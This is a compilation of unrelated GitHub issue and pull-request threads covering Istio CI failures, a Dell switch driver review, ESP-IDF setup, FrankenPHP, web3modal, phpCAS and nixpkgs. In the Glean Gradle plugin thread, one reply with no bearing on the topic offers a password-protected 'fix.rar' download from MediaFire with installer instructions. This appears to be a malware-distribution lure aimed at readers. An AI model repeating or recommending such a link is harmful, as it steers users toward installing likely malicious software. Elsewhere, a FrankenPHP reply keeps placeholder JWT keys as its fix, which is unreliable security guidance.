Add base IOP for tf to avoid duplicate configs

Currently we duplicate everything across 6 files. Clean it up a bit to consolidate the config and ensure they are only different when we intentionally make them so

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test lint_istio

integ-pilot-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test lint_istio

integ-pilot-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote_istio

integ-telemetry-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-telemetry-istiodremote_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test lint_istio

integ-pilot-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote_istio

integ-telemetry-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-telemetry-istiodremote_istio

integ-security-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-security-istiodremote_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test lint_istio

integ-pilot-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote_istio

integ-telemetry-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-telemetry-istiodremote_istio

integ-security-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-security-istiodremote_istio

integ-pilot-istiodremote-mc_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote-mc_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

lint_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test lint_istio

integ-pilot-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote_istio

integ-telemetry-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-telemetry-istiodremote_istio

integ-security-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-security-istiodremote_istio

integ-pilot-istiodremote-mc_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote-mc_istio

integ-security_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-security_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-pilot-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote_istio

integ-telemetry-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-telemetry-istiodremote_istio

integ-security-istiodremote_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-security-istiodremote_istio

integ-pilot-istiodremote-mc_istio
e9e0e4ceef034f2135903b11b24b3de66204167e
link
true
/test integ-pilot-istiodremote-mc_istio

integ-security_istio
d9f5f0692d728411eea5cba3216df9643e531578
link
true
/test integ-security_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Fowrawrding Refs

I guess you need to get the latest changes of branch master, and merge it into your own branch which is hosseinAMD-forwarding-refs-hosseinamd by following the below steps:
git checkout master
git pull origin master
git checkout hosseinAMD-forwarding-refs-hosseinamd
git merge master

If you still have some troubles, let me know :)

I guess you need to get the latest changes of branch master, and merge it into your own branch which is hosseinAMD-forwarding-refs-hosseinamd by following the below steps:
git checkout master
git pull origin master
git checkout hosseinAMD-forwarding-refs-hosseinamd
git merge master
git push [your-own-remote-name] hosseinAMD-forwarding-refs-hosseinamd

If you still have some troubles, let me know :)

@sorousht
I've ran every command you told me. but as you can see tests still fail
I can send you my translation .MD file to test if you have linux os!

@sorousht
An if you check the logs you can find this line the reason of failing tests
Cannot find module '@babel/compat-data/corejs3-shipped-proposals'
It's the reason of failing all tests!

OK it solved with fetching upstream repository Finally! :)
Thanks @sorousht for your efforts


Driver for Dell S3048-ON

Closes #844

I took the skeleton of the brocade driver and built on top of it. Added some additional helper functions.

Link to API guide and CLI Guide

There's one issue that still needs to be solved. I can't remove the Native vlan on this switch, it always defaults to 1 (just like the brocade). To run the deployment tests, I have put in a temporary workaround (it's in the comments) to make sure there are no other issues and it passes both deployment tests.  Any suggestions?

I am doing some string parsings/manipulation, and if you have better suggestions on how to do that then please let me know.

I have two of these switches (with all ports available), so if you want to play with it let me know (it would be nice if someone besides me gets to know the switch)

oh no, I got @zenhack's name wrong in the last commit :(

Passing the deployment tests (with the hack)
collected 2 items

tests/deployment/native_networks.py .
tests/deployment/vlan_networks.py .

==================================================================== 2 passed in 326.73 seconds ====================================================================

It's quite slow, but not as slow as our pexpect dells

This seems to be an issue with the brocade too
Doesn't look like we are handling it?

OK, well we can't just leave this as is (though I might be convinced to
merge this and open a separate issue for the race, since it's the same
bug that we've already got, but see also my comments about factoring out
common logic).  It's not immediately obvious to me what to do about it,
but I will think on the matter.
-Ian

OK, well we can't just leave this as is (though I might be convinced to merge this and open a separate issue for the race, since it's the same bug that we've already got, but see also my comments about factoring out common logic). It's not immediately obvious to me what to do about it, but I will think on the matter.

I had a chat with @okrieg and he proposed a solution (similar to  #852 ):
HIL should enforce that a node can only be powered on when a native vlan has been set.
So when a user gets a node, they must first set a native vlan. The call to node_power_on should ensure that a native vlan has been set on all connected nics (make a call to the switch to get the native vlan) before it actually powers on the node.
The idea seems simple enough, if we agree on this we could think about the implementation details.
@henn curious to your thoughts on this as well.

That sounds like a basically sane solution to me. I'm a little worried about the proliferation of stateful safety constraints in our code, since it's going to make implementation more hazardous.

I think I have factored out what I thought was reasonable and addressed the comments you made.
Re: using is_legal_channel_for(), I made that changed but now this happened when I was running deployment tests.
self = <hil.ext.network_allocators.vlan_pool.VlanAllocator object at 0x7f141919af10>, net_id = None

    def legal_channels_for(self, net_id):
        return ["vlan/native",
>               "vlan/" + net_id]
E       TypeError: cannot concatenate 'str' and 'NoneType' objects

Before I fix that, I am curious why are we doing this check again in the driver? We already do it in the API here

This is much better. I left a number of other comments, now that it's easier to follow.

Quoting Naved Ansari (2017-09-12 10:22:59)

So for removing multiple vlans, I should be able to generate a huge
command (separated by \r\n) and send that in one call. That would
probably be faster.

Yeah, that would avoid doing so many round-trips. Sure, give it a shot.

@zenhack I think addressed all the comments.
@shwsun @SahilTikale can we get a second review here? Please ask any questions you have. Would be nice to have another exhaustive review.

@geedo0 @zenhack
pushed another commit addressing your changes.

LGTM, merging.


Passing only one patient data from Orthanc to OHIF viewer

I have setup Orthanc on my server and can get API calls to my image instances. I want to show only this patient's data on OHIF. What can I do for this purpose?

Please refer to the URL configuration documentation page at https://docs.ohif.org/configuration/url.


Issues installing opendataval

🐛 Describe the bug
Issues
On Google colab, installing opendataval is difficult, namely with the dependency conflicts.
Root causes

The version of opendataval and its dependencies available on pypi (v1.2.1) is outdated. The GitHub has up-to-date versions.
Some of the versions of pandas and numpy are incompatible with Google Colab

Reproduceability
The link to a google colab notebook was made by a friend of my PI (credit to be given). Their help is greatly appreciated for improving opendataval.
Versions
No response
Operating System
Linux

Potential solutions

Be more strict with versioning
Update the opendataval package to the latest release
Periodically update packages to align with google colab versions

Leaving open for the next few days for visibility and tracking


Integrate Glean Gradle plugin

See https://mozilla.github.io/glean/book/user/adding-glean-to-your-project/kotlin.html#setting-up-metrics-and-pings-code-generation
Note: The Python envs plugin tries to add a dependency repository to the (sub)project. This is currently not allowed in our project. We'll have to change the build configuration or use a modified version of the Gradle plugin.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


idf.py command returns "env: python: No such file or directory" (IDFGH-8528)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
Intro: This isn't the first time I have had this issue, but its becoming a bit frustrating. I was building without a problem until I shut my computer down. After booting it back up, I have been running into this error consistently.
Background: My current environment is: Mac intel 2019 16", it's currently running on Monterey, and I am using the ESP32 sparkfun board.
Issue: When I run the command "idf.py", "idf.py menuconfig", or "idf.py build", pretty much anything that starts with the idf.py command I receive the following error.
env: python: No such file or directory
Since running into this error, I have searched for a solution. I have looked at similar solutions with that recreates this error, however the solutions that were listed did not work. I believe the issue is related to my PATH or environment variable both of which have me confused.
Action: Please let me know if anyone has any feedback or a potential solution. In addition, I'd like to learn about environment variables and PATHS so any relative information would be helpful. Thank you in advance.

You are not supposed to change the PATH.
Please follow the guide from here: https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/linux-macos-setup.html
Running . export.sh in each terminal will take care of setting up PATH.

Thank you!! Following these steps resolved the issue, however, when I log off, restart, or shut my computer down I receive the same error.
What do I have to do in order to make these changes permanent?

The only thing you need to repeat from those steps is to use . export.sh in every shell you want to use ESP-IDF.
I don't recommend to make this "permanent". This is done so the ESP-IDF environment would be separated from the rest of your system. If you permanently join them then they one part of your system could broke the other one.


Error when starting FrankenPHP since new build related to mercure

Hello,
Since the new build (a few hours ago) I can't seem to be able to start my frankenphp container.
The error seems to be related to Mercure, here is what I have when running docker compose logs frankenphp :
frankenphp  | Error: loading initial config: loading new config: loading http app module: provision http: server srv0: setting up route handlers: route 0: loading handler modules: position 0: loading module 'subroute': provision http.handlers.subroute: setting up subroutes: route 0: loading handler modules: position 0: loading module 'subroute': provision http.handlers.subroute: setting up subroutes: route 0: loading handler modules: position 1: loading module 'mercure': provision http.handlers.mercure: a JWT key for publishers must be provided

Here is my docker-compose.yml conf
    frankenphp:
        container_name: ${COMPOSE_PROJECT_NAME}_frankenphp
        build:
            dockerfile: ./devops/frankenphp/Dockerfile
            context: .
            args:
                APP_ENV: ${APP_ENV:-dev}
        environment:
            SERVER_NAME: ${SERVER_NAME:-localhost}
        restart: unless-stopped
        volumes:
            - ./:/app

ARG APP_ENV=prod

FROM dunglas/frankenphp as frankenphp_prod
ENV FRANKENPHP_CONFIG="worker ./public/index.php"

FROM dunglas/frankenphp as frankenphp_dev
ENV FRANKENPHP_CONFIG=""

FROM frankenphp_${APP_ENV}

ARG APP_ENV=prod

RUN if [ "$APP_ENV" = "dev" ]; then \
      apt update && \
      apt install -y \
        python3-pip \
      ; \
      pip install pypdf~=3.15 --break-system-packages; \
    fi

RUN apt update && \
    apt install -y \
      bash-completion \
      git \
      libgcrypt20-dev \
      libpq-dev \
      p7zip \
      unzip \
    ;

RUN install-php-extensions \
    @composer \
    intl \
    opcache \
    mbstring \
    mcrypt \
    pdo_pgsql \
    xdebug \
    zip \
    ;

COPY ./devops/frankenphp/conf.d/php.${APP_ENV}.ini $PHP_INI_DIR/php.ini
COPY ./devops/frankenphp/conf.d/xdebug.ini $PHP_INI_DIR/conf.d/90-xdebug.ini
COPY ./devops/frankenphp/.bashrc /root/.bashrc

ENV APP_RUNTIME="Runtime\\FrankenPhpSymfony\\Runtime"

VOLUME /app

WORKDIR /app

Is it a known issue ?
Did I do something wrong ?
Thanks,
Regards

Seems ok after updating docker-compose file :
In services.frankenphp.environment:
MERCURE_PUBLISHER_JWT_KEY: "!ChangeMe!"
MERCURE_SUBSCRIBER_JWT_KEY: "!ChangeMe!"

In services.frankenphp.volumes:
- mercure_data:/data
- mercure_config:/config

In volumes:
mercure_data:
mercure_config:

But not sure if it's the best way to fix


[bug] Dapps in SafePal not worked

Link to minimal reproducible example
https://lab.web3modal.com/v2Standalone
Summary
Case 1:

I open the SafePal app, open the dapps and navigate to the link https://lab.web3modal.com/v2Standalone
press "Connect Wallet" button, modal opens, I search for SafePal and click but the loading icon is spinning and not working.

Case 2:

I go back and go to https://lab.web3modal.com/v2Base, click "Connect Wallet" now there's a Trust Wallet icon saying "installed", I try to click on it, the connection is successful.

but actually this connection comes from safepal, not trust wallet. safepal's modal opens and I confirm them and log in.
I also tried clicking the safepal icon in this case, but I can't connect like the above case.

Machine information:
iOS 16.3.1 (iphone 12)
Safepal 3.8.3
List of related npm package versions
I using demo in lab.web3modal.com

@0xAsimetriq Some of my users on Safepal say that since I upgraded to version 2.3.0 they can no longer connect. Before that I used version 2.2.2

@phanthai12 will test this out this week, but few ideas I have that you could relay to safepal are

For mobile linking, we switched to using deeplinks (safepalwallet://) over universal ones (https://...). As far as I can see in cloud safepal has their deeplink set, so question is, are they handling it properly? If not, we should ask them to delete it from their cloud project.

When you see TrustWallet as "installed" option it means safe pal is injecting window.ethereum, if trust data is shown, maybe they are setting extra flags which are not their own? i.e. isMetaMask or isTrust. Many wallets do this for better compatibility with dapps and its hard for us to determine which wallet they actually are.

The fact that you are sometimes seeing installed option and sometimes not leads me to think that safepal might not be injecting it right away (i.e. there is wait time) so we don't pick it up sometimes if it takes a bit longer.

Would be good to chat to them, but I'll also update you on what I can find once I deepdive into the issue as well 👍

@0xAsimetriq Some more information for you:
Trust with "installed" option not showing with https://lab.web3modal.com/v2Standalone
but it shows up with https://lab.web3modal.com/v2Base

Ah, that's actually expected. Standalone mode doesn't handle injected (extension) connections, it's a simple WalletConnect only experience. It shows up in v2Base as we use wagmi there for a "Managed" modal experience with a lot of extra features (but it needs wagmi).

Update version 2.3.7
I can click buttons of two apps, and it worked both

Awesome! Ty for the update.

Awesome! Ty for the update.

Hi 0xAsimetriq,
I tried  to connect SafePal in https://lab.web3modal.com/
on iPhone, but currently when SafePal been opened, nothing show on SafePal App.
I need to go back to the web, and click backup button. Then it show connect screen successfully, but when I click Agree, it did not redirect to the web.
But other wallets could redirect to web after click connect button(like MetaMask or TrustWallet).
Not sure it's web3modal issues or SafePal App's issue?
Machine information:
iOS 16.3.1 (iPhone SE)
Safepal 3.8.3


Bad response from the CAS server AuthenticationException

I am trying to use phpCAS 1.3.2 to integrated with secure.its.yale.edu. It looks like I am authenticated at yale side, however, in phpCAS side, I got

Warning: DOMDocument::loadXML(): Empty string supplied as input in /opt/php/auth/protected/cas/CAS-1.3.2/CAS/Client.php on line 2778
Fatal error: Uncaught exception 'CAS_AuthenticationException' in /opt/php/auth/protected/cas/CAS-1.3.2/CAS/Client.php:2780
Stack trace:
0 /opt/php/auth/protected/cas/CAS-1.3.2/CAS/Client.php(1224): CAS_Client->validateCAS20('https://secure....', '', NULL)
1 /opt/php/auth/protected/cas/CAS-1.3.2/CAS/Client.php(1083): CAS_Client->isAuthenticated()
2 /opt/php/auth/protected/cas/CAS-1.3.2/CAS.php(1101): CAS_Client->forceAuthentication()
3 /opt/php/auth/www/cas/auth.php(44): phpCAS::forceAuthentication()
4 {main}
thrown in /opt/php/auth/protected/cas/CAS-1.3.2/CAS/Client.php on line 2780

In the debug log

2545 .|    |    |    |    => CAS_AuthenticationException::__construct(CAS_Client, 'Ticket not validated', 'https://secure.its.yale.edu/cas/login/serviceValidate?service=http%3A%2F%2Fwww.nlit.com%2Fphp%2Fauth%2Fwww%2Fcas%2Fauth.php&ticket=ST-354552-MjM37RgIsbf904oALyDf-cas', false, true, '') [Client.php:2783]
2545 .|    |    |    |    |    => CAS_Client::getURL() [AuthenticationException.php:76]
2545 .|    |    |    |    |    <= 'http://www.nlit.com/php/auth/www/cas/auth.php'
2545 .|    |    |    |    |    CAS URL: https://secure.its.yale.edu/cas/login/serviceValidate?service=http%3A%2F%2Fwww.nlit.com%2Fphp%2Fauth%2Fwww%2Fcas%2Fauth.php&ticket=ST-354552-MjM37RgIsbf904oALyDf-cas [AuthenticationException.php:79]
2545 .|    |    |    |    |    Authentication failure: Ticket not validated [AuthenticationException.php:80]
2545 .|    |    |    |    |    Reason: bad response from the CAS server [AuthenticationException.php:85]
2545 .|    |    |    |    |    CAS response:  [AuthenticationException.php:100]
2545 .|    |    |    |    |    exit()

On the other hand, I setup my own cas server 3.5.2 and everything works fine. I don't know what version that yale.edu runs. Is it a backward compatibility issue?

If you are using Drupal and get this error, you might have the same issue I had. I switched the CAS server version setting from 3.0 to 2.0 and its working now. Guess my CAS server is really old...
Running drupal version 7.56, phpCAS 1.3.5, php 5.6.32, Libraries module version 7.x-2.3, drupal cas module version 7.x-1.6. No idea what exact CAS server version the cas server is running.


Question: Dfspec?

Hey- I love this project! Feels like if dataframe libraries all implemented this, it would be an absolute dream to build libraries!
Just take something like soda-core which is a test library that supports lots of dataframe types. It has a bunch of code for every ttpe, would be amazing just to have one.
I wanted to reach out and ask a question, this isn't a real issue or anything so feel free to ignore!
Did you (or I guess would you) consider something along the lines of fsspec? If you haven't come across it before, fsspec implements a standard glue layer across lots of file system types (s3, dropbox, sftp etc) so that they can all be accessed the same way.
Something like "df-spec" would be a standard api for accessing multille dataframe libraries, with an implementation for each. Obviously not as ideal as them all having the same api, but probably more feasible to make happen (I can't see polars or spark adopting a new api soon).
 I'm just curious if you considered it as an option, or what you think of it as an idea?

Hi @benrutter !
If you're looking to use this in soda-core, you might be interested in taking a look at Narwhals, which is intended exactly for this kind of use case
Feel free to join our Discord (link in README) to have a chat, and/or book some time at https://calendly.com/marcogorelli
Regarding this repo:

The interchange protocol: this is more about having a standardised way of converting between libraries. I think it was a good project, but unfortunately it seems to have lost steam (there's been no activity on it for quite a while). Personally, I'm hopeful that we can revive it
The dataframe api standard: I've been told it's been discontinued and that an exit-blog post will be published at some point

Thanks @MarcoGorelli! Didn't expect a reply on a Saturday- those are some really helpful links/resources, I reallhly appreciate it!
Should probably be clear that I'm not affiliated with soda-core at all! It was just an example that came to mind where I knew that a lot of integrations where needed.
That's a shame about the dataframe api standard, although I totally get it! It's pretty tricky to get traction for stuff like that, especially after people have already developed varying APIs across their own seperste projects.
Thanks again for the reply! And for working on an awesome open source project 😁


Remove deprecated stylelint rule and rename PHPCS rule

number-leading-zero rule was deprecated in Stylelint version 15.0.0 due to "pretty printing" features removed and focusing on linting itself. (Migrating to Prettier for SCSS linting?)
WordPress.WhiteSpace.PrecisionAlignment has been replaced by Universal.WhiteSpace.PrecisionAlignment in 3.0.0 (changelog entry)

@raikasdev PHPCS fails to error ERROR: Referenced sniff "PHPCSUtils" does not exist. Can't get it to work on master or develop either, had to get -b 2.2.0. Strange. But unit test should go through, can you try and test it again? 🤔

Added separately without this PR.


ascii-image-converter: init at 1.11.0

Motivation for this change
Packages ascii-image-converter.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 142643 run on x86_64-linux 1

1 package built:

ascii-image-converter

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/654


[WIP] Database and Data Model Schema Update

Closes #222

XLarge PR for preventing breaking to existed APIs

Remove the need for ODM, use a single data model for the database and internal computation
update model registration API
Simplify housekeeper model registration function

For easy review:
modelci/hub/manager.py -> simplify housekeeper model registration
modelci/hub/model_loader.py -> for model loading from a weight file to a model in memory (read for inference)
modelci/types/models -> new DB data model definition
modelci/persistence/service_.py -> new database CRUD functions

modelci/hub/utils.py -> to keep other APIs working
modelci/types/bo -> to keep other APIs working
modelci/types/do -> to keep other APIs working
modelci/types/vo -> to keep other APIs working

API Status
Model Register

Name
Status

Python code
✔ Passed, 👀 Still, profiler not working

YAML
✔ Passed, 👀 Still, profiler not working

Web
🚧 WIP

CLI
🚩 Just Start

Motivation
The main idea is to utilize Pydantic package to write a single model schema from the request received by FastAPI to document saved in DB.
A simple example is:
from fastapi import FastAPI, File
from pydantic import BaseModel
from pymongo import MongoClient

from modelci.hub.loader import load
from modelci.hub.converter import convert
from modelci.hub.utils import parse_path_plain

app = FastAPI()
db_collection = MongoClient().modelci.model

class MLModelIn(BaseModel):
    architecture: ...
    framework: ...
    engine: ...
    ...

class MLModelOut(BaseModel):
    ...

@app.post('model/')
def register_model(model_in: MLModelIn, model_weight: File(...)):
    # save original model
    saved_path = save_weight_to_cache(model_weight, model_in.saved_path)
    model_in.weight = saved_path
    db_collection.insert_one(**model_in.dict())

    # convert
    origin_model = load(saved_path)
    saved_paths = convert(original_model, model_in)

    models = list()
    for saved_path in saved_paths:
        # save convert
        engine = parse_path_plain(saved_path)['engine']
        model_cvt = MLModelIn(**model_in.dict(exclude={'weight', 'engine'}, weight=saved_path, engine=engine)
        db_collection.insert_one(**model_cvt.dict())
        models.append(model_cvt)

    # profile
    for model in models:
        submit_profile_job(model)

    # prepare response
    model_outs = list()
    for model in models:
        model_outs.append(**MLModelOut(MLModelIn.dict(exclude={...})

    return model_outs

QA
What has been done to verify that this works as intended?
Under dev, maybe a breaking PR. Verification is not passed ❌
How does this change affect users? Describe intentional changes to behavior and behavior that could have accidentally been affected by code changes. In other words, what are the regression risks?
Simplify APIs.
Does this change require updates to documentation?
Yes.
Before submitting this PR, please make sure you have:

[ ] run python -m pytest tests/ and confirmed all checks still pass.
[ ] verified that any code or assets from external sources are properly credited.

Remember to check the WIKI CLI from time to time and align your new design with our roadmap
We do not aim to provide too many APIs. Just make sure the new design as easy as possible.

Create the model registration frontend using the following request format @univerone


Java.Lang.NullPointerException after Adding the References

Hello Everybody, is there any experience with a Java.Lang.NullPointerException after adding the references?
I am not sure where to store the components, maybe i do something wrong. The sample works fine and my References are almost the same in my MainProject.
Any Help is appreciated.
I use the 1.5.4 Version and created a components Folder on the main ProjectLevel, then I added references to the described files.
The exception occurs irrespective of the FormsControls Inits in AppDelegate and MainActivity(which I think I did correctly). The exception seems to be caused by the base.OnCreate(bundle) in MainActivity, as I use Android for debugging.
Thank You very much. I really would love to use this project(already paid it :D), but I am not able to :(

Okay, maybe someone's got a mistake like this, too. The thing is, for sure... that the dlls i referenced to were not included to the build. I had to involve them to a project (like a controlLibrary) and THEN CLEAN the solution ;) Sry for interrupting.

@dave2ma Hi!
If you still have problem - please update me.


add redirects to all MP

Description
Make sure all reference to MP will be redirected correctlly

When I click the preview site I get a message: Your Docusaurus site did not load properly


Invoke already existing ENC if node is not part of lightweight site

To work in harmony with existing puppet masters with an existing ENC configuration, we should allow a way to for the existing ENC to be invoked through our ENC, in case node is not part of the lightweight site.

Everything is now managed internally by the puppet module, so no ENC is needed. This repository can be deprecated already


[Artworks] Do not fetch the same page multiple times.

Turns out that it was trivial to fetch a page multiple times, leading to duplicate works.

beautiful PR haha!


Big thanks and one question

Fırst thanks for the awesome mod and i have a question.
Can you do same thing for magic the gathering arena game. Is that possible ?

The idea of trying to do MTGA really appeals to me but the reality is it would be extremely difficult. All of the AI logic for MTGA happens on the server so an existing engine like xmage or forge would need to be used to map every interaction. It's unlikely mappings would work 1:1 and there would be missing info that MTGA needs so a new engine would need to be built up.
I might attempt it at some point but I fully expect it to not work out as I have no plans of making my own duel engine.

I understand it's hard.  maybe you can do it with someone who will help you in the future. Maybe someone can be found on the slightlymagic site or discord.  hope to see this mod in the future thanks

Yea I might reach out to one of the devs of xmage/forge if I ever attempt it to see what they think about the feasibility of it. I remember reading one of the devs commenting on how different the design is at a technical level. Like the entire board state is broadcast on each interaction for either xmage or forge (I forget which). MTGA sends just the information needed for a given interaction. This kind of thing would probably make it infeasible to just map actions between MTGA / an existing duel engine.
Even if it requires creating a duel engine from scratch I might still attempt to create an initial basic implementation capable of placing lands and see if anyone wants to pick it up from there.
I have no immediate plans of working on any of this though. I think the next thing I'd be working on is multiplayer support for YgoMaster (but also no immediate plans for that either, it's just likely the next open source thing I'll work on).

What is the difference between yugioh and magic?  It can be done because there is a single player mode in yugioh or because there are campaign modes in it.

So all of the yugioh games made / licensed by Konami have used a duel engine designed with local play against the AI. When you play solo mode it's all done locally without any interaction with the server. This means all YgoMaster has to do is handle basic functions to create decks, open packs, start duels etc.
For MTGA everything is done on the server side. There isn't a local AI. Which means the duel engine needs to be fully implemented on the server side which is a ton of work.

I understand. It is a situation that takes a lot of time and effort. Thank you for all your writing and answering all the questions in my mind.

Oo ok last question ..
Can you do same thing for Pokemon TCG online ?

Pokemon doesn't interest me so I'd never attempt it. But I imagine it would be similar to MTGA in difficulty.


build failed: Package resolution errors must be fixed before building

$ git describe --tags
1.0.2-1-g9833b2c
/Users/lidaobing/workspace/foss/FishUpgrade/FishUpgrade.xcodeproj Missing package product 'AuxiliaryExecute'
x-xcode-log://2B5A00B4-09E2-4EA0-8B7E-E59D98867530 Package resolution errors must be fixed before building

This is Xcode issue.


Add support for Laravel 5.7

A new inspection was created.

The inspection completed: No new issues


[W6.6h][T15-B4]Alpheus Lim

@ALim95
nothing much to take note. you did a good job here. please close the PR


Feat: [OV-41295][OV-39583] Combobox & List

Great work!
I was wondering, is there any specific reasons why you haven't leverage react-aria useComboBox hook and react-strately useComboBoxState for this one?

I was wondering, is there any specific reason why you haven't leverage react-aria useComboBox hook and react-strately useComboBoxState for this one?

We don't exclude the possibility of using them, they are very useful tools, although they are sometimes difficult to set up. This first iteration follows a request for a feature in development and we want to go as simple as possible to deliver the component quickly.

Ok thanks for your reply @franckgaudin 🙏🏻
I would like to know more someday about what makes react-aria primitives so difficult to setup because from my understanding and my experience building (and maintaning) a ComboBox component from scratch it has to be very difficult to be considered as less suitable than building a new one.
Also, I am getting worried here. Our strategy for the new 3 years is to go all-in with react-aria to stop developping and maintaining that type of code ourself, are we making a mistake?

In itself the primitive is easy to set up but what is restrictive is that in some cases it is necessary to add other packages for it to work correctly.
A point that complicates the use of react-stately is that for some components you have to export a context which implies that when using the Igloo component you have to import it in addition and I'm afraid that it slows down the adoption of these components.
I don't think this is a mistake, you have to see the context of use. It is not always necessary to import an external lib. for simple elements. But it makes sense when the functionality is more complex.


Problem with wave tour image building because can find the h2o_wave latest version in PYPI

Latest release of h2o_wave can not install from the PYPI using pip for some time after publishing the library to PYPI. So getting the following error when building the runtime image for the wave tour app.
ERROR: Could not find a version that satisfies the requirement h2o_wave==1.1.1 (from versions: 0.7.0, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.9.1, 0.10.0, 0.11.0, 0.12.0, 0.12.1, 0.13.0, 0.14.0, 0.14.1, 0.15.0, 0.16.0, 0.17.0, 0.18.0, 0.19.0, 0.20.0, 0.21.0, 0.21.1, 0.22.0, 0.23.0, 0.23.1, 0.24.0, 0.24.1, 0.24.2, 0.25.0, 0.25.1, 0.25.2, 0.25.3, 0.26.0, 0.26.1, 0.26.2, 0.26.3, 1.0.0, 1.0.1, 1.0.2, 1.1.0)
https://github.com/h2oai/wave/actions/runs/8254859486/job/22580763018

@mturoci , Workflow (https://github.com/h2oai/wave/actions/runs/8527219621/job/23359294072)  for v1.1.2 wave release didn't give the error in https://github.com/h2oai/wave/actions/runs/8254859486/job/22579983568. Different I can see is, Release wave step in the failed workflow only took 21mins while the workflow for v1.1.2 release took 31mins.

Seems like no longer an issue:

Will reopen once pops up again.


Build failure: seaf-server installing unstable branch fails (Unsupported upgrade)

Steps To Reproduce
Steps to reproduce the behavior:

I'm trying to upgrade from 24.05 seaf-server (version 10.0.1) to unstable seaf-server (version 11.0.12)
To do this, I added this line:

services.seafile.seafilePackage = inputs.unstable.legacyPackages.${pkgs.system}.seahub;

nixos-rebuild switch --flake ... upgrade fails, "Unsupported upgrade"

Note: unstable version of seaf-server doesn't have this seafilePackage option, but rather seahubPackage

Fails to build, Unsupported upgrade
The script /nix/store/raqv80n05afz6jsphdyn21a34cg4xcfd-unit-script-seaf-server-pre-start/bin/seaf-server-pre-start doesn't mention version upgrading from version 10.
I couldn't configure the 24.05 version, so I don't want to upgrade. But rather, I just want to install the unstable version.

The latest version of my NixOS config is available on my GitHub

https://github.com/LukaDeka/nixos

Build log
seaf-server.service - Seafile server
     Loaded: loaded (/etc/systemd/system/seaf-server.service; enabled; preset: enabled)
